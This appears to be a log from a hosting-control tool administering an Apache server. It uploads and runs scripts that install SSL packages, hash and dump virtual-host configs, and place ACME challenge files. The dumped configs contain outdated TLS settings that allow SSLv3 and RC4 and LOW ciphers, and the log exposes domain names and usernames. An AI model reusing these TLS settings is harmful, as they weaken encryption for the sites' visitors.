install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
systemctl restart apache2
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
systemctl restart apache2
fi
echo status=ok
fi
2025-12-26 13:59:56:
chmod 755 /tmp/pkp889779; /tmp/pkp889779; rm /tmp/pkp889779
2025-12-26 13:59:56:
status=ok
2025-12-26 13:59:56:
PUT: /tmp/pkp618618
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-26 13:59:56:
chmod 755 /tmp/pkp618618; /tmp/pkp618618; rm /tmp/pkp618618
2025-12-26 13:59:56:
2025-12-26 13:59:56:
PUT: /tmp/pkp345563
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/ports.conf')
show_file('/etc/apache2/apache2.conf')
show_file('/etc/apache2/sites-available/hostz_aries_org.conf')
show_file('/etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf')
show_file('/etc/apache2/sites-available/stoughton_www_link.conf')
show_file('/etc/apache2/sites-available/default-ssl.conf')
show_file('/etc/apache2/sites-available/000-default.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-26 13:59:56:
chmod 755 /tmp/pkp345563; /tmp/pkp345563; rm /tmp/pkp345563
2025-12-26 13:59:56:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/ports.conf 274
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf
Listen 80
<IfModule ssl_module>
Listen 443
</IfModule>
<IfModule mod_gnutls.c>
Listen 443
</IfModule>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/apache2.conf 7178
# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.
# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
# /etc/apache2/
# |-- apache2.conf
# | `-- ports.conf
# |-- mods-enabled
# | |-- *.load
# | `-- *.conf
# |-- conf-enabled
# | `-- *.conf
# `-- sites-enabled
# `-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
# together by including all remaining configuration files when starting up the
# web server.
#
# * ports.conf is always included from the main configuration file. It is
# supposed to determine listening ports for incoming connections which can be
# customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
# directories contain particular configuration snippets which manage modules,
# global configuration fragments, or virtual host configurations,
# respectively.
#
# They are activated by symlinking available configuration files from their
# respective *-available/ counterparts. These should be managed by using our
# helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
# their respective man pages for detailed information.
#
# * The binary is called apache2. Due to the use of environment variables, in
# the default configuration, apache2 needs to be started/stopped with
# /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
# work with the default configuration.
# Global configuration
#
#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE! If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the Mutex documentation (available
# at <URL:http://httpd.apache.org/docs/2.4/mod/core.html#mutex>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
#ServerRoot "/etc/apache2"
#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#Mutex file:${APACHE_LOCK_DIR} default
#
# The directory where shm and other runtime files will be stored.
#
DefaultRuntimeDir ${APACHE_RUN_DIR}
#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}
#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300
#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On
#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100
#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 5
# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off
# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here. If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog ${APACHE_LOG_DIR}/error.log
#
# LogLevel: Control the severity of messages logged to the error_log.
# Available values: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the log level for particular modules, e.g.
# "LogLevel info ssl:warn"
#
LogLevel warn
# Include module configuration:
IncludeOptional mods-enabled/*.load
IncludeOptional mods-enabled/*.conf
# Include list of ports to listen on
Include ports.conf
# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
#<Directory /srv/>
# Options Indexes FollowSymLinks
# AllowOverride None
# Require all granted
#</Directory>
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
Require all denied
</FilesMatch>
#
# The following directives define some format nicknames for use with
# a CustomLog directive.
#
# These deviate from the Common Log Format definitions in that they use %O
# (the actual bytes sent including headers) instead of %b (the size of the
# requested file), because the latter makes it impossible to detect partial
# requests.
#
# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.
# Use mod_remoteip instead.
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %O" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent
# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.
# Include generic snippets of statements
IncludeOptional conf-enabled/*.conf
# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hostz_aries_org.conf 1872
<VirtualHost *:80>
ServerName aries.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_aries
<Directory /var/www/hostz_aries>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/aries_access.log combined
ErrorLog /var/log/apache2/hostz/aries_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName aries.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
DocumentRoot /var/www/hostz_aries
<Directory /var/www/hostz_aries>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_aries/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/aries_secure_access.log combined
ErrorLog /var/log/apache2/hostz/aries_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf 1656
<VirtualHost *:80>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName cdn1.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_cdn1
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
<Directory /var/www/hopeinstoughton_cdn1>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cdn1_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/stoughton_www_link.conf 1743
<VirtualHost *:80>
ServerName stoughton.link
ServerAlias *.stoughton.link
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/stoughton_www
<Directory /var/www/stoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/stoughton/www_access.log combined
ErrorLog /var/log/apache2/stoughton/www_error.log
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
</VirtualHost>
<VirtualHost *:443>
ServerName stoughton.link
ServerAlias *.stoughton.link
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
DocumentRoot /var/www/stoughton_www
<Directory /var/www/stoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/stoughton/www_secure_access.log combined
ErrorLog /var/log/apache2/stoughton/www_secure_error.log
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.1-phil.sock|fcgi://localhost"
</FilesMatch>
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf 4573
<VirtualHost *:443>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
# SSL Engine Switch:
# Enable/Disable SSL for this virtual host.
SSLEngine on
# A self-signed (snakeoil) certificate can be created by installing
# the ssl-cert package. See
# /usr/share/doc/apache2/README.Debian.gz for more info.
# If both key and certificate are stored in the same file, only the
# SSLCertificateFile directive is needed.
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
# Server Certificate Chain:
# Point SSLCertificateChainFile at a file containing the
# concatenation of PEM encoded CA certificates which form the
# certificate chain for the server certificate. Alternatively
# the referenced file can be the same as SSLCertificateFile
# when the CA certificates are directly appended to the server
# certificate for convinience.
#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt
# Certificate Authority (CA):
# Set the CA certificate verification path where to find CA
# certificates for client authentication or alternatively one
# huge file containing all of them (file must be PEM encoded)
# Note: Inside SSLCACertificatePath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCACertificatePath /etc/ssl/certs/
#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt
# Certificate Revocation Lists (CRL):
# Set the CA revocation path where to find CA CRLs for client
# authentication or alternatively one huge file containing all
# of them (file must be PEM encoded)
# Note: Inside SSLCARevocationPath you need hash symlinks
# to point to the certificate files. Use the provided
# Makefile to update the hash symlinks after changes.
#SSLCARevocationPath /etc/apache2/ssl.crl/
#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl
# Client Authentication (Type):
# Client certificate verification type and depth. Types are
# none, optional, require and optional_no_ca. Depth is a
# number which specifies how deeply to verify the certificate
# issuer chain before deciding the certificate is not valid.
#SSLVerifyClient require
#SSLVerifyDepth 10
# SSL Engine Options:
# Set various options for the SSL engine.
# o FakeBasicAuth:
# Translate the client X.509 into a Basic Authorisation. This means that
# the standard Auth/DBMAuth methods can be used for access control. The
# user name is the `one line' version of the client's X.509 certificate.
# Note that no password is obtained from the user. Every entry in the user
# file needs this password: `xxj31ZMTZzkVA'.
# o ExportCertData:
# This exports two additional environment variables: SSL_CLIENT_CERT and
# SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
# server (always existing) and the client (only existing when client
# authentication is used). This can be used to import the certificates
# into CGI scripts.
# o StdEnvVars:
# This exports the standard SSL/TLS related `SSL_*' environment variables.
# Per default this exportation is switched off for performance reasons,
# because the extraction step is an expensive operation and is usually
# useless for serving static content. So one usually enables the
# exportation for CGI and SSI requests only.
# o OptRenegotiate:
# This enables optimized SSL connection renegotiation handling when SSL
# directives are used in per-directory context.
#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
</FilesMatch>
<Directory /usr/lib/cgi-bin>
SSLOptions +StdEnvVars
</Directory>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/000-default.conf 1286
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
(gzipped output)
MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/hostz_aries_org.conf)= 8eab3470a2365227821ae5b538c45e8a
MD5(/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt)= 179d894ae3df656e5f7306cf6a24dfe2
MD5(/etc/apache2/sites-available/anitayoung_www_net.conf)= e8d22e10ba04c74b51c7fbb43b012dd7
MD5(/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt)= 8dd0f9183bf5fca3b037c8b6e9bc7fc6
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf)= 88fd3d003dada60987cdbd7d39bad481
MD5(/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt)= 998753e2cb33cab87d8cb0471a46db4b
MD5(/etc/apache2/sites-available/kjvdictionary_store_org.conf)= 7be1769f090285813fd3154415d15485
MD5(/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt)= 871e01cc22abafca329218d17ead1a20
MD5(/etc/apache2/sites-available/pjy_www_us.conf)= ed3a548e48e9fe4e5d4db5f4e654ee32
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/pjy_pkp_us.conf)= f2501308d37d029c24d810be5def3b1d
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/patientapps_www_co.conf)= 8d6a0b016721c9b2001cf6b52f74ec22
MD5(/etc/ssl/certs/d18ebcef2c53b2fff4c3f6f80595db99.crt)= 961914e8ce9f9df4147aa40bc1a2f2e9
MD5(/etc/apache2/sites-available/stoughton_www_link.conf)= 9e11afd365c093fc111ce973d5b42650
MD5(/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt)= 0a69a2205d0c48306e3d4d038872ee2e
MD5(/etc/apache2/sites-available/hopeinstoughton_www_org.conf)= 69ac44f7d01057dfd0d60b6d70e2cdbd
MD5(/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt)= b0ec200ba16c7e508cb569ec91fe4cf3
MD5(/etc/apache2/sites-available/kjvdictionary_www_org.conf)= b97b6131af323b016d7b28fb2960ff1c
MD5(/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt)= 549ba716ac2271cdd94a49d9a8ea1aff
MD5(/etc/apache2/sites-available/theyoungdesigners_www_com.conf)= a6c0931f6394176c7cc5f85ea7e080aa
MD5(/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt)= 4f6045dc2924aafa17265364e3c8abbf
MD5(/etc/apache2/sites-available/theyoungdesigners_www_us.conf)= 7505b75b736acb52194d008b5b045b70
MD5(/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt)= d9171f9bf367ca3b72049a6ca5bd34f6
MD5(/etc/apache2/sites-available/hostz_www_org.conf)= c5e9527303d808c3c8946eda24b85b7e
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt)= b2848b8bb734cc48a70d8a6a10b18f8a
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c4be37ab3f632c6df143b6808775a788
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/hopeinstoughton_books_org.conf)= 2bd2e3cb453122a2de2bf54ece3f682e
MD5(/etc/apache2/sites-available/patientapps_support_com.conf)= 74d4c6b7f2d9c5ecbb1485b92ab36316
MD5(/etc/ssl/certs/4510c05efeebdbfa45526af095977c06.crt)= ba3f870f17f1ce4c5dca012dbf66fc9c
MD5(/etc/apache2/sites-available/pjy_eggshell_us.conf)= a6ab88bd5bd1f4ec0f149c30ce4839a5
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/pjy_city_us.conf)= a817883aea5be6c13fcdf818876f4d1a
MD5(/etc/ssl/certs/befbdf65f8b0e883e7b64e5aabdbb04f.crt)= 9b15d7623157e45f0f206b48778332d1
MD5(/etc/apache2/sites-available/hopeinstoughton_vote_org.conf)= ddcd4e32e22447924e6ec8a823b87668
MD5(/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt)= af9b874e8438743080c8b2c287cd9aad
MD5(/etc/apache2/sites-available/patientapps_beta_net.conf)= 1a89b4e364d9427aaa4b6a4f3ff98b06
MD5(/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8)= daacf88fade50e1d93627191031c2ed7
MD5(/etc/apache2/sites-available/nagios.conf)= cec9ae02b1fd0656575f8567dc09d651
link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2/sites-available/hostz_aries_org.conf
link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2/sites-available/anitayoung_www_net.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2/sites-available/kjvdictionary_store_org.conf
link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2/sites-available/pjy_www_us.conf
link(/etc/apache2/sites-enabled/pjy_pkp_us.conf)= /etc/apache2/sites-available/pjy_pkp_us.conf
link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2/sites-available/patientapps_www_co.conf
link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2/sites-available/stoughton_www_link.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2/sites-available/hopeinstoughton_www_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2/sites-available/kjvdictionary_www_org.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2/sites-available/theyoungdesigners_www_com.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2/sites-available/theyoungdesigners_www_us.conf
link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2/sites-available/hostz_www_org.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf)= /etc/apache2/sites-available/hopeinstoughton_books_org.conf
link(/etc/apache2/sites-enabled/patientapps_support_com.conf)= /etc/apache2/sites-available/patientapps_support_com.conf
link(/etc/apache2/sites-enabled/pjy_eggshell_us.conf)= /etc/apache2/sites-available/pjy_eggshell_us.conf
link(/etc/apache2/sites-enabled/pjy_city_us.conf)= /etc/apache2/sites-available/pjy_city_us.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2/sites-available/hopeinstoughton_vote_org.conf
link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2/sites-available/patientapps_beta_net.conf
link(/etc/apache2/sites-enabled/nagios.conf)= /etc/apache2/sites-available/nagios.conf
STDERR:
/tmp/pkp618618:12: SyntaxWarning: invalid escape sequence '\s'
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
2025-12-26 14:47:04: Establishing a remote connection
2025-12-26 14:47:04: installid not present
2025-12-27 06:00:03: Establishing a connection
2025-12-27 06:00:04: Establishing a connection
2025-12-27 06:00:06:
PUT: /tmp/pkp371200
#!/bin/bash
if [ -d "/var/www/zoomchat_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-27 06:00:07:
chmod 755 /tmp/pkp371200; /tmp/pkp371200; rm /tmp/pkp371200
2025-12-27 06:00:07:
1
2025-12-27 06:00:08: Establishing a connection
2025-12-27 06:00:10:
PUT: /tmp/pkp951949
#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
cat > WfTHvXnw86k5JO83YDFeTYezCuq3SUnt0IQGq1CeLI4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
WfTHvXnw86k5JO83YDFeTYezCuq3SUnt0IQGq1CeLI4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 WfTHvXnw86k5JO83YDFeTYezCuq3SUnt0IQGq1CeLI4
cat > zoUbmVskf_wo8nn8SlugGX3rpk0vtPjc7CMwi5GBDqc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
zoUbmVskf_wo8nn8SlugGX3rpk0vtPjc7CMwi5GBDqc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 zoUbmVskf_wo8nn8SlugGX3rpk0vtPjc7CMwi5GBDqc
2025-12-27 06:00:11:
chmod 755 /tmp/pkp951949; /tmp/pkp951949; rm /tmp/pkp951949
2025-12-27 06:00:11:
2025-12-27 06:00:19: Establishing a connection
2025-12-27 06:00:20:
PUT: /tmp/pkp410541
#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
rm WfTHvXnw86k5JO83YDFeTYezCuq3SUnt0IQGq1CeLI4
